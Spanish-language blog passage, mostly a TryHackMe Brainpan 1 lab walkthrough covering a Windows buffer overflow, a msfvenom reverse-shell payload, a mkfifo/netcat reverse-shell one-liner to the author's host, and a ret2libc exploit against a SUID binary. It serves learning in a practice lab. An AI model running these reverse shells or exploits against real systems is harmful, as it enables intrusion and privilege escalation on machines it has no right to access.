<p>Para resolver el ejercicio, primero declaro tres variables: host, puerto inicial y puerto final (el escaneo se lleva a cabo en un rango de puertos). Posteriormente realizo un bucle <em>for</em> para mandar llamar a el comando especificado con cada uno de los puertos dentro del rango declarado. Este comando devuelve varios valores, sin embargo, me centré primero en el llamado <em>TcpTestSucceeded</em>, el cual devuelve True si logró establecer una conexión.</p>

<p><img src="/assets/images/powershell/27.png" alt="27" /></p>

<p>Este, al ser ejecutado, devuelve que solo hay un puerto abierto, el 135:</p>

<p><img src="/assets/images/powershell/28.png" alt="28" /></p>

<p>Sin embargo, hay algo que no estoy tomando en consideración, y es el hecho de que el puerto puede estar abierto pero ser inaccesible, y para corroborarlo, debemos emplear otro de los resultados que devuelve el comando llamado <em>PingSucceeded</em>. Este nos indicará si el puerto está a la escucha y ha respondido, pero probablemente no sea capaz de establecer una conexión (razón por la que el TcpTestSucceeded pueda devolver False cuando el puerto sí está a la escucha). De esta manera, empleo ambas posibilidades en una operación OR dentro del <em>if</em>; adicional a ello, declaro un contador que me ayude a determinar cuántos puertos resultaron abiertos al final:</p>

<p><img src="/assets/images/powershell/29.png" alt="29" /></p>

<p>Si ejecutamos el script, veremos que para todos los puertos que antes habíamos considerado como cerrados, en realidad existen y responden al ping, pero son inaccesibles. Mientras que el 135, al responder al <em>TcpTestSucceeded</em>, sí lo es.</p>

<p>Por lo tanto, se concluye que los 11 puertos escaneados (entre el 130 y el 140) se encuentran abiertos.</p>

<p><img src="/assets/images/powershell/30.png" alt="30" /></p>

<p>El script resultante puedes consultarlo en mi <a href="https://github.com/blu3ming/PortScan-Powershell">GitHub</a>.</p>]]></content><author><name>Blu3ming</name></author><category term="Comunidad" /><category term="Blog" /><category term="Writeup" /><category term="powershell" /><category term="scripting" /><category term="windows" /><summary type="html"><![CDATA[Esta room es un laboratorio de práctica para aprender comandos y scripting de Powershell, entendiendo cómo funciona su sintaxis y cómo nos puede ayudar en la fase de enumeración.]]></summary></entry><entry><title type="html">Máquina Brainpan 1 - TryHackMe (OSCP Style) (Offensive Pentesting Path)</title><link href="https://blu3ming.github.io/maquina-brainpan-1-walkthrough-copia/" rel="alternate" type="text/html" title="Máquina Brainpan 1 - TryHackMe (OSCP Style) (Offensive Pentesting Path)" /><published>2022-07-19T00:00:00+00:00</published><updated>2022-07-19T00:00:00+00:00</updated><id>https://blu3ming.github.io/maquina-brainpan-1-walkthrough%20-%20copia</id><content type="html" xml:base="https://blu3ming.github.io/maquina-brainpan-1-walkthrough-copia/"><![CDATA[<h1 id="introducción">Introducción</h1>
<p>La máquina se encuentra en <a href="https://tryhackme.com/room/brainpan">TryHackMe</a>. Es una máquina Linux que cuenta con un servicio Windows vulnerable a Buffer Overflow. Para explotarlo, deberemos primero pasar el binario a una máquina donde podamos replicar los ataques a fin de obtener el script que logre vulnerarlo. Al final, solo ejecutaremos dicho script en la máquina víctima.</p>

<p>Posteriormente, para escalar a root debemos ejecutar un binario personlizado que contiene permisos SUDO en la herramienta <em>manual</em> (man) de Linux. Sin embargo, por un error de enumeración no pude percatarme antes de este permiso, por lo que me dejé llevar por una escalada por medio de otro binario personalizado llamado <strong>validate</strong> con permisos SUID. Es decir, terminé aprendiendo y realizando un BoF en un sistema Linux empleando una tecnica llamada <strong>ret2libc</strong>.</p>

<p>Sin embargo, me di cuenta de que nadie más ha hecho un writeup que contemple este último paso solo por aprender y emplear el sistema como playground para Buffer Overflow de sistemas Linux (y con ASLR activado), así que supongo que seré el primero.</p>

<h1 id="índice">Índice</h1>
<ul>
  <li><a href="#introducción">Introducción</a></li>
  <li><a href="#índice">Índice</a></li>
  <li><a href="#escaneo-de-puertos">Escaneo de puertos</a></li>
  <li><a href="#servicio-http">Servicio HTTP</a></li>
  <li><a href="#análisis-del-servicio-brainpan">Análisis del servicio Brainpan</a></li>
  <li><a href="#buffer-overflow-en-windows">Buffer Overflow en Windows</a>
    <ul>
      <li><a href="#fase-de-fuzzing">Fase de fuzzing</a></li>
      <li><a href="#buscando-el-offset">Buscando el offset</a></li>
      <li><a href="#encontrando-los-badchars">Encontrando los badchars</a></li>
      <li><a href="#buscando-el-jmp-esp">Buscando el JMP ESP</a></li>
      <li><a href="#creación-del-script-para-explotar-el-bof">Creación del script para explotar el BoF</a></li>
    </ul>
  </li>
  <li><a href="#comprometiendo-el-sistema-original">Comprometiendo el sistema original</a></li>
  <li><a href="#obteniendo-una-bash">Obteniendo una bash</a></li>
  <li><a href="#buffer-overflow-en-linux">Buffer Overflow en Linux</a>
    <ul>
      <li><a href="#verificando-el-modo-de-aleatorización-de-memoria">Verificando el modo de aleatorización de memoria</a></li>
      <li><a href="#encontrando-el-valor-del-offset">Encontrando el valor del offset</a></li>
      <li><a href="#determinando-la-dirección-base-del-libc">Determinando la dirección base del libc</a></li>
      <li><a href="#encontrando-el-offset-de-system-exit-y-bash">Encontrando el offset de system, exit y bash</a></li>
      <li><a href="#creación-del-script-exploit_linuxpy">Creación del script exploit_linux.py</a></li>
    </ul>
  </li>
  <li><a href="#puesta-en-marcha-del-exploit">Puesta en marcha del exploit</a></li>
  <li><a href="#corrección-para-sistemas-de-32-bits">Corrección para sistemas de 32 bits</a></li>
  <li><a href="#escalada-de-privilegios-por-permisos-sudo-en-man">Escalada de privilegios por permisos SUDO en man</a></li>
</ul>

<h1 id="escaneo-de-puertos">Escaneo de puertos</h1>
<p>Verificamos que se trata de una máquina Linux por medio de una traza ICMP.</p>

<p><img src="/assets/images/brainpan/1.png" alt="1" /></p>

<p>Iniciamos con un escaneo básico con <strong>nmap</strong> en busca de puertos abiertos en el sistema víctima:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sS --min-rate 5000 -p- --open -Pn -n -vv 10.10.113.69 -oG allPorts
</code></pre></div></div>

<p><img src="/assets/images/brainpan/2.png" alt="2" /></p>

<p>Observamos que hay dos puertos abiertos: el 9999 y el 10000, desconocidos de momento. Realizamos un escaneo a profundidad de dichos puertos en busca de servicios y versiones que corren en ellos.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -sC -sV -p9999,10000 10.10.113.69 -oN targeted
</code></pre></div></div>

<p><img src="/assets/images/brainpan/3.png" alt="3" /></p>

<p>Vemos que en el puerto 9999 detecta un servicio llamado <em>Brainpan</em> junto con una entrada de lo que parece ser una contraseña. Por otro lado, el puerto 10000 resulta ser un servidor HTTP corriendo en Python 2.7.</p>

<p>Lo corroboramos con un <em>whatweb</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whatweb http://10.10.113.69:10000
</code></pre></div></div>

<p><img src="/assets/images/brainpan/4.png" alt="4" /></p>

<h1 id="servicio-http">Servicio HTTP</h1>
<p>Si entramos por medio de un navegador al servicio web veremos una infografía sobre código seguro y su importancia.</p>

<p><img src="/assets/images/brainpan/5.png" alt="5" /></p>

<p>Si realizamos un fuzzeo a este servicio en busca de directorios, veremos que encuentra uno llamado <em>bin</em>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wfuzz -c --hc=404 -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.113.69:10000/FUZZ
</code></pre></div></div>

<p><img src="/assets/images/brainpan/6.png" alt="6" /></p>

<p>Dentro de este nos encontraremos con un binario de Windows llamado <strong>brainpan.exe</strong>, el cual seguramente se trata del servicio que corre en el otro puerto abierto (9999).</p>

<p><img src="/assets/images/brainpan/7.png" alt="7" /></p>

<h1 id="análisis-del-servicio-brainpan">Análisis del servicio Brainpan</h1>
<p>Probamos conectarnos a este servicio por medio de netcat:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc 10.10.113.69 9999
</code></pre></div></div>

<p><img src="/assets/images/brainpan/8.png" alt="8" /></p>

<p>Vemos que la entrada solicita una contraseña para acceder a lo que parece ser el servicio en su totalidad, sin embargo, seguramente se trata de un buffer overflow nuevamente. Corroboramos que el servicio funcione con cualquier entrada de datos primero:</p>

<p><img src="/assets/images/brainpan/9.png" alt="9" /></p>

<p>Este nos responde con el mensaje <strong>ACCESS DENIED</strong>. Ya tenemos un caso base.</p>

<h1 id="buffer-overflow-en-windows">Buffer Overflow en Windows</h1>
<p>Para corroborar eso último, mandamos una enorme cantidad de caracteres para ver si el servicio logra crashear. Se intentó con 1000 caracteres:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Con esto generamos la cantidad de caracteres necesarios:
python -c "print('A'*1000)"
</code></pre></div></div>

<p><img src="/assets/images/brainpan/10.png" alt="10" /></p>

<p>Como podemos ver, el servicio crashea y cierra la conexión al recibir esta cantidad de información (ya no nos devuelve el mensaje de acceso denegado). Iniciamos el análisis pasando el binario a nuestro Windows 7 para debuguearlo y encontrar el offset para el Buffer Overflow.</p>

<p>Como podemos ver, tenemos conexión con el server y este muestra en consola la cantidad de bytes que son copiados en el buffer:</p>

<p><img src="/assets/images/brainpan/11.png" alt="11" /></p>

<h2 id="fase-de-fuzzing">Fase de fuzzing</h2>
<p>Corremos nuestro script <a href="https://github.com/blu3ming/Buffer-Overflow-Scripts/blob/main/fuzzer.py">fuzzer.py</a>, para encontrar el tamaño de buffer y en qué momento se sobreescribe EIP; vemos que el servicio crashea a los 600 bytes:</p>

<p><img src="/assets/images/brainpan/12.png" alt="12" /></p>

<h2 id="buscando-el-offset">Buscando el offset</h2>
<p>Creamos ahora nuestro patrón de caracteres con ayuda de <strong>pattern_create.rb</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
</code></pre></div></div>

<p><img src="/assets/images/brainpan/13.png" alt="13" /></p>

<p>Enviamos este patrón en el payload de nuestro <strong>exploit.py</strong>. Cuando crasheé el servicio, buscamos el offset exacto en el que se sobreescribe el EIP.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona findmsp -distance 1000
</code></pre></div></div>

<p>El análisis retorna que el offset exacto es de 524, es decir, necesitamos enviar 524 caracteres para llegar al momento exacto donde inicia el EIP.</p>

<p><img src="/assets/images/brainpan/14.png" alt="14" /></p>

<p>Colocamos “BBBB” en la variable <strong>retn</strong> para corroborar que podamos sobreescribir el registro EIP, ya habiendo colocado el offset correcto en el script. Como se observa, esto es posible (EIP vale 42424242).</p>

<p><img src="/assets/images/brainpan/15.png" alt="15" /></p>

<h2 id="encontrando-los-badchars">Encontrando los badchars</h2>
<p>El siguiente paso es buscar los badchars del servicio. Iniciamos creando el bytearray base en mona contemplando el badchar \x00 por defecto:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona bytearray -b "\x00"
</code></pre></div></div>

<p>Colocamos la cadena de bytes en nuestro script, contemplando igualmente el \x00 por defecto y lo ejecutamos. Hacemos el comparativo de ambos con ayuda de mona para detectar los badchars:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona compare -f c:\mona\brainpan\bytearray.bin -a &lt;DIRECCION DEL ESP&gt;
</code></pre></div></div>

<p><img src="/assets/images/brainpan/16.png" alt="16" /></p>

<p>Como podemos observar, en la primera pasada logramos obtener <strong>Unmodified</strong>, por lo que no existen más badchars para este binario.</p>

<h2 id="buscando-el-jmp-esp">Buscando el JMP ESP</h2>
<p>Ahora, buscamos la dirección de la instrucción JMP ESP en el binario o su biblioteca que tenga el ASLR y SEH deshabilitados y que no contengan el badchar encontrado.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>!mona jmp -r esp -cpb "\x00"
</code></pre></div></div>

<p><img src="/assets/images/brainpan/17.png" alt="17" /></p>

<h2 id="creación-del-script-para-explotar-el-bof">Creación del script para explotar el BoF</h2>
<p>Copiamos la dirección encontrada en nuestro script, añadimos los NOP’s y creamos nuestro payload con ayuda de msfvenom:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom -p windows/shell_reverse_tcp LHOST=10.2.69.66 LPORT=443 EXITFUNC=thread -b "\x00" -f c
</code></pre></div></div>

<p>Creamos una reverse shell que se conecte a nuestra máquina sin que empleé el badchar encontrado. Lo agregamos a la variable payload del <em>exploit.py</em> junto con los demás datos para el BoF.</p>

<p><img src="/assets/images/brainpan/18.png" alt="18" /></p>

<p>Ya con todo listo, lo ejecutamos con una consola aparte en escucha con ayuda de netcat. Vemos cómo inmediatamente obtenemos la cmd en el sistema, habiendola comprometido exitosamente.</p>

<p><img src="/assets/images/brainpan/19.png" alt="19" /></p>

<h1 id="comprometiendo-el-sistema-original">Comprometiendo el sistema original</h1>
<p>Ya que vimos que el script funciona, comprometemos el sistema original solo cambiando la IP destino:</p>

<p><img src="/assets/images/brainpan/20.png" alt="20" /></p>

<p>Recordemos que este sistema es un Linux, no un Windows. Me pregunto si de casualidad me encuentro dentro de un docker, así que muestro la IP para darme cuenta de que no es el caso:</p>

<p><img src="/assets/images/brainpan/21.png" alt="21" /></p>

<p>Nota: Obtenemos una consola que asimila a una cmd dado que el payload de msfvenom lo generamos para este sistema (Windows), solo sería cuestión de modificarlo para que retorne una reverse shell en un sistema Linux y volver a ejecutar el exploit. Como desconocía esto, tardé un poco en escapar de la consola devuelta para poder entrar en una <strong>bash</strong>.</p>

<h1 id="obteniendo-una-bash">Obteniendo una bash</h1>
<p>En este momento no entiendo cómo es que tengo una cmd si se supone que se trata de un sistema Linux, así que trato de irme a la raíz para corroborar esto último con la estructura de directorios:</p>

<p><img src="/assets/images/brainpan/22.png" alt="22" /></p>

<p>Dado que existe un directorio <strong>/bin</strong>, trato de spawnear una bash con ayuda de una llamada a este binario. Después de un par de intentos, varios enters y whoami’s, logro obtener la bash.</p>

<p><img src="/assets/images/brainpan/23.png" alt="23" /></p>

<p>Sin embargo, se trata de una bash inestable, por lo que inmediatamente ejecuto un comando que me devolverá una reverse shell ya como bash:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc 10.2.69.66 443 &gt;/tmp/f
</code></pre></div></div>

<p><img src="/assets/images/brainpan/24.png" alt="24" /></p>

<p><img src="/assets/images/brainpan/25.png" alt="25" /></p>

<p><strong>Nota:</strong> Para escalar privilegios en este sistema, solo basta con ejecutar un listado de permisos sudo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo -l
</code></pre></div></div>

<p>Y este nos regresará que cualquier usuario puede ejecutar como root una utilidad personalizada dentro del directorio del usuario anansi. Para ver este paso, ir al último apartado de esta guía.</p>

<p>Como no me preocupé por hacer primero una enumeración completa de vectores para escalar privilegios, terminé haciendo un paso que era en absoluto innecesario, sin embargo, me permitió aprender sobre Buffer Overflow en binarios de Linux, y ahora quiero explicarlo para que quede registro de cómo poder usar este sistema para practicarlo.</p>

<p>Reitero, lo siguiente no es necesario y puedes saltar hasta el último apartado para terminar de comprometer la máquina.</p>

<h1 id="buffer-overflow-en-linux">Buffer Overflow en Linux</h1>
<p>Listamos aquellos binarios que cuenten con permisos SUID, y vemos uno en particular que no es propio del sistema:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/local/bin/validate
</code></pre></div></div>

<p><img src="/assets/images/brainpan/26.png" alt="26" /></p>

<p>Si lo ejecutamos, vemos que este pide una entrada de datos como argumento al momento de mandarlo a llamar.</p>

<p><img src="/assets/images/brainpan/27.png" alt="27" /></p>

<p>Intentamos primero mandarle un par de A’s para ver el comportamiento base de este programa. Vemos que solo nos indica que la entrada pasó, sea lo que eso signifique.</p>

<p><img src="/assets/images/brainpan/28.png" alt="28" /></p>

<p>Por el contrario, si mandamos una enorme cantidad de caracteres (no noté cuántos envié, solo escribí A’s hasta que terminé las columnas de la consola), vemos que la respuesta del sistema es un <strong>Segmentation fault</strong>, es decir, estamos sobreescribiendo registros del sistema; ergo, Buffer Overflow.</p>

<p><img src="/assets/images/brainpan/29.png" alt="29" /></p>

<p>En este caso, copiamos el binario en nuestra máquina de atacante para poder debuguearlo y lograr ver cómo podemos aprovecharnos y escalar privilegios en el sistema. Si logramos ejecutar el BoF, escalaremos al usuario que haya creado el binario originalmente (quien le dio los permisos SUID).</p>

<p><img src="/assets/images/brainpan/30.png" alt="30" /></p>

<h2 id="verificando-el-modo-de-aleatorización-de-memoria">Verificando el modo de aleatorización de memoria</h2>
<p>Linux tiene una forma peculiar de proteger el sistema contra Buffer Overflows, y uno de ellos es la aleatorización de registros de memoria (ASLR). Este hace que la dirección base de las bibliotecas empleadas por los binarios del sistema sea aleatoria con cada ejecución, por lo que no podemos simplemente explotar el BoF con una dirección y esperar que sea la misma en la siguiente ejecución.</p>

<p>Recordemos que la mayor parte del sistema Unix está escrito en C, razón por la cual muchas de sus utilidades emplean la biblioteca <strong>libc</strong> para acceder a las instrucciones de código necesarias. Esta biblioteca es la que cambia de ubicación con cada ejecución si el ASLR está activado (valor 1 o 2), y será la misma con cada ejecución si se encuentra deshabilitado (valor 0).</p>

<p>Para corroborar si se encuentra habilitado o no, debemos ver el contenido del siguiente archivo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/proc/sys/kernel/randomize_va_space
</code></pre></div></div>

<p><img src="/assets/images/brainpan/31.png" alt="31" /></p>

<p>Como podemos observar, en el sistema este se encuentra con un valor 2, lo que quiere decir que se encuentra habilitado por defecto (a efectos prácticos, 1 y 2 son lo mismo). Esto complica las cosas, pero no las imposibilita en lo absoluto, solo tendremos que notar un cierto comportamiento que esta aleatorización tiene (recordemos que en computación, no existe la aleatoriedad per se). Para lograr el Buffer Overflow en un sistema con estas características, empleamos una técnica conocida como <strong>ret2libc</strong>.</p>

<h2 id="encontrando-el-valor-del-offset">Encontrando el valor del offset</h2>
<p>Igual que en un binario de Windows, primero debemos encontrar el valor del offset necesario para sobreescribir el buffer y llegar hasta el registro EIP (siguiente instrucción).</p>

<p>Para ello, empleamos el programa <strong>gdb</strong> junto con la extensión <strong>peda</strong>. GDB viene instalado por defecto en Kali, pero <em>peda</em> deberemos instalarlo por separado con las siguientes instrucciones:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" &gt;&gt; ~/.gdbinit
</code></pre></div></div>

<p>Abrimos el binario de la siguiente manera:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gdb validate
</code></pre></div></div>

<p>Ya dentro del programa, podemos correrlo con la instrucción <em>run</em> o su acotación <em>r</em>, seguido del argumento que le daremos a la ejecución:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r AAAAAAAAAAAAAAAAAAAAAA
</code></pre></div></div>

<p>Si le damos los suficientes caracteres a la entrada, veremos que GDB nos indica que la ejecución se ha detenido debido a un <strong>SIGSEV</strong>, observando cómo el EIP se ha sobreescrito con las A’s:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x41414141 in ?? ()
</code></pre></div></div>

<p>Por lo tanto, podemos ahora crear nuestro patrón de siempre para encontrar el offset correcto. Para ello, <em>peda</em> incluye ya una herraminta igual a la de metasploit:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pattern_create 500 pattern
</code></pre></div></div>

<p>Esto mandará llamar a <em>pattern_create</em> para crear un patrón de 500 caracteres y depositarlo en un archivo llamado <em>pattern</em>.</p>

<p><img src="/assets/images/brainpan/32.png" alt="32" /></p>

<p>Ahora, podemos mandar llamar nuevamente al binario con la salida del patrón generado:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r $(cat pattern)
</code></pre></div></div>

<p>Este nuevamente nos indicará que el programa se ha detenido por la misma razón que antes (SIGSEGV), por lo que ahora copiamos lo que se ha logrado colar en el EIP y empleamos el pattern_offset para determinar este.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 8Ad9
</code></pre></div></div>

<p>Con esto le indicamos a la herramienta que queremos realizar una consulta (-q) en busca de ese conjunto de caracteres en el patrón que genera.</p>

<p><img src="/assets/images/brainpan/33.png" alt="33" /></p>

<p>Vemos que nos regresa un offset de 116, por lo que guardamos este valor por ahora.</p>

<h2 id="determinando-la-dirección-base-del-libc">Determinando la dirección base del libc</h2>
<p>Como bien se explicaba anteriormente, esta dirección cambia con cada ejecución debido a que el sistema cuenta con el ASLR activado (y la única manera de deshabilitarlo es siendo usuario root). Sin embargo, como en computación solo existe el pseudoaleatorismo, la ubicación del <em>libc</em> sigue un cierto patrón.</p>

<p>Y es que, cada ciertas ejecuciones, la dirección se repite en ocasiones, o bien sigue un patrón determinado. Para poder consultar la dirección de esta biblioteca, ejecutamos lo siguiente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldd validate
</code></pre></div></div>

<p>Este devuelve una salida donde la segunda línea nos indica qué biblioteca de C estamos usando, su ubicación dentro del sistema de archivos (esa no cambia) y la dirección de memoria (encerrada entre paréntesis).</p>

<p>Si lo ejecutamos un par de ocasiones, veremos como esa dirección cambia.</p>

<p>Nota: En el comando mostrado en la captura se hace uso de un for en bash para ejecutar este comando varias veces, lo cual necesitaremos para obtener un gran número de repeticiones en busca de una colisión.</p>

<p><img src="/assets/images/brainpan/34.png" alt="34" /></p>

<p>Necesitamos al menos un total de 100 ejecuciones para buscar colisiones en las direcciones, es decir, repeticiones. Para ello, hacemos uso de un for en bash, una expresión regular en <em>grep</em> para solo obtener la dirección del libc y redirigimos la salida a un archivo de salida.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>for i in $(seq 1 100); do echo $(ldd validate | grep -oP 'libc.so.6 =&gt; /lib32/libc.so.6 \(\K[^\)]+') &gt;&gt; direcciones; done
</code></pre></div></div>

<p><img src="/assets/images/brainpan/35.png" alt="35" /></p>

<p>Este archivo contendrá las direcciones del libc obtenidas con cada ejecución del <em>ldd</em>, así que ahora tenemos que ordenar el archivo y posteriormente encontrar aquellos que se repitan. Para ello, hacemos lo siguiente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sort direcciones address //Redirigimos a salida a un nuevo archivo llamado address que contiene las direcciones ordenadas de menor a mayor.

uniq -D address //Imprime solo las líneas que se encuentren duplicadas en el archivo. Seleccionamos cualquiera de ellas y la guardamos por ahora.
</code></pre></div></div>

<h2 id="encontrando-el-offset-de-system-exit-y-bash">Encontrando el offset de system, exit y bash</h2>
<p>A diferencia de el Buffer Overflow en Windows, aquí no necesitamos saltar al ESP ni cargar nuestro payload (eso se hace cuando no tenemos el ASLR activado). Aquí solo necesitamos hacer llamadas al sistema para poder spawnear una bash. Para ello, necesitamos de las instrucciones <strong>system</strong>, <strong>exit</strong> y, por supuesto, <strong>/bin/bash</strong>.</p>

<p>Esto se debe a que en C, para spawnear una bash se requiere de un código como el que sigue:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>system('/bin/bash');
exit(0);
</code></pre></div></div>

<p>De este modo, hacemos que la shell a la que entremos sea en modo interactivo con los mismos privilegios que el programa que lo invoca (recordemos que nuestro binario es SUID), y entonces sea capaz tanto de recibir datos de entrada (STDIN), devolver resultados (STDOUT) e incluso errores (STDERR) de manera consecutiva o hasta que el usuario teclée <strong>exit</strong> para salir.</p>

<p>Para poder cargarlos en memoria, requerimos primero obtener sus offsets dentro de la biblioteca <strong>libc</strong>. En el caso de <em>system</em> y <em>exit</em>, se ejecuta lo siguiente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>readelf -s /lib32/libc.so.6 | grep -E "system@@|exit@@"
</code></pre></div></div>

<p>De esta manera, le indicamos a readelf que busque en la biblioteca libc (colocar la ubicación de esta en el sistema) las cadenas que contengan <em>system@@</em> y <em>exit@@</em>.</p>

<p><img src="/assets/images/brainpan/36.png" alt="36" /></p>

<p>Elegimos aquellas que solo contengan la cadena que necesitamos (por ejemplo, ignoramos la que inicia con un guión bajo o con la palabra <em>on</em>).</p>

<p>Ahora, buscamos el offset de /bin/bash. Esto se hace listando las strings de la biblioteca <strong>libc</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>strings -a -t x /lib32/libc.so.6 | grep "/bin/bash"
</code></pre></div></div>

<p><img src="/assets/images/brainpan/37.png" alt="37" /></p>

<p>Nótese cómo estos offsets no cambian con cada ejecución, son fijos en todo momento.</p>

<p><img src="/assets/images/brainpan/38.png" alt="38" /></p>

<p>Estos offsets se sumarán con la dirección base del <strong>libc</strong> para entonces obtener su ubicación real en la memoria, y de esta manera, poder introducirlas en el buffer para que, al momento de explotar la vulnerabilidad, nos spawnee una bash.</p>

<h2 id="creación-del-script-exploit_linuxpy">Creación del script exploit_linux.py</h2>
<p>Nuestro script tendrá una estructura muy diferente de aquél empleado en Windows. Para ello, requerimos mandar llamar a las bibliotecas subprcess (call nos permitirá ejecutar el binario en Linux), struct (nos permitirá cargar las direcciones en Little Endian) y sys (nos permitirá cerrar el programa al terminar).</p>

<p>Posteriormente, declaramos el offset que obtuvimos en el paso correspondiente (el primero, antes de llegar al EIP) y creamos una variable llamada junk.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>junk = "A" * offset
</code></pre></div></div>

<p>Esta únicamente será la que rellenará de A’s hasta llegar a donde queremos inyectar el código de la bash. Posteriormente, declaramos la dirección base del <strong>libc</strong> que seleccionamos de entre todas las colisiones que encontramos (se escribe tal cual se encontró, no hay necesidad de invertirla ni nada).</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>base_libc = 0xf7d8900
</code></pre></div></div>

<p>Posteriormente, declaramos los offsets de <em>system</em>, <em>exit</em> y <em>bash</em>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>system_address = 0x00044cc0
exit_address = 0x00037640
bash_address = 0x18fb62
</code></pre></div></div>

<p>Ahora, como se explicaba al final del apartado anterior, necesitamos calcular las direcciones reales de estos últimos tres, y para ello sumamos sus offsets con la dirección base del <strong>libc</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>system_real = struct.pack("&lt;I", base_libc + system_address)
</code></pre></div></div>

<p>Struct.pack se encarga de convertir el resultado en Little Endian (“&lt;I”). Repetimos esto tanto para <em>system</em> como para <em>exit</em>.</p>

<p>Juntamos todo en una variable payload, la cual será la que mandemos al programa como argumento en busca de inyectar nuestra bash en memoria y que logre spawnear al momento de ejecutar el binario.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>payload = junk + system_real + exit_real + bash_real
</code></pre></div></div>

<p>Por último viene el paso más importante. ¿Recuerdas que la dirección de <strong>libc</strong> cambia con cada ejecución? No podemos esperar que a la primera esa dirección sea la que hemos declarado nosotros, solo hemos puesto una que en el pasado generó colisiones. Por lo tanto, deberemos ejecutar el script una infinidad de veces hasta que esa colisión se vuelva a dar, es decir, que se repita la dirección que hemos seleccionado como base del <strong>libc</strong>.</p>

<p>Para ello, declaramos un bucle infinito (while True) y con una llamada a <em>call</em> ejecutamos el <strong>validate</strong> mandándole como argumento el payload que hemos generado. Si la respuesta a esta ejecución devuelve un cero (0), esto quiere decir que el comando se ejecutó correctamente, debiendo devolvernos la bash y cerrando el script (sys.exit(0)). Por el contrario, si el comando no se ejecuta correctamente (no hay colisión en la dirección base), este devolverá un 1 y seguirá ejecutando dentro del bucle.</p>

<p><img src="/assets/images/brainpan/39.png" alt="39" /></p>

<p>La base del script puedes encontrarla en mi repositorio: <a href="https://github.com/blu3ming/Buffer-Overflow-Scripts/blob/main/exploit_linux.py">exploit_linux.py</a></p>

<h1 id="puesta-en-marcha-del-exploit">Puesta en marcha del exploit</h1>
<p>Ya con nuestro script listo, probamos a ejecutarlo en nuestra máquina, viendo cómo este nos devuelve una bash como el usuario root (porque con este usuario se creó en nuestra máquina).</p>

<p><img src="/assets/images/brainpan/40.png" alt="40" /></p>

<p>Ahora, solo debemos mover nuestro script a la máquina víctima y modificar la ubicación del binario <strong>validate</strong>.</p>

<p><img src="/assets/images/brainpan/41.png" alt="41" /></p>

<p>Al momento de ejecutarlo vemos que genera errores o que nunca termina, por lo que decidimos cerrarlo manualmente con un CTRL+C.</p>

<p><img src="/assets/images/brainpan/42.png" alt="42" /></p>

<p>Esto se debe a un error de enumeración y de comprensión al momento de estudiar y desarollar un exploit para este tipo de vulnerabilidad, y es que nosotros hicimos desarrollo y pruebas en un sistema de 64 bits (nuestro Kali), cuando la máquina víctima corre un sistema de 32 bits. En teoría, nuestro script debería funcionar en cualquier sistema operativo Linux de 64 bits, pero ahora hay que hacer modificaciones para este tipo de sistema.</p>

<h1 id="corrección-para-sistemas-de-32-bits">Corrección para sistemas de 32 bits</h1>
<p>Corroboramos lo anterior tratando de determinar la ubicación del <strong>libc</strong> en este sistema:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ldd /usr/local/bin/validate
</code></pre></div></div>

<p>Vemos cómo el <strong>libc</strong> es diferente al que nosotros habíamos detectado en Kali (el i386 nos indica que es un <em>libc</em> para sistemas de 32 bits); incluso la dirección en memoria de este tiene un patrón distinto al que ya habíamos detectado en nuestra máquina.</p>

<p><img src="/assets/images/brainpan/43.png" alt="43" /></p>

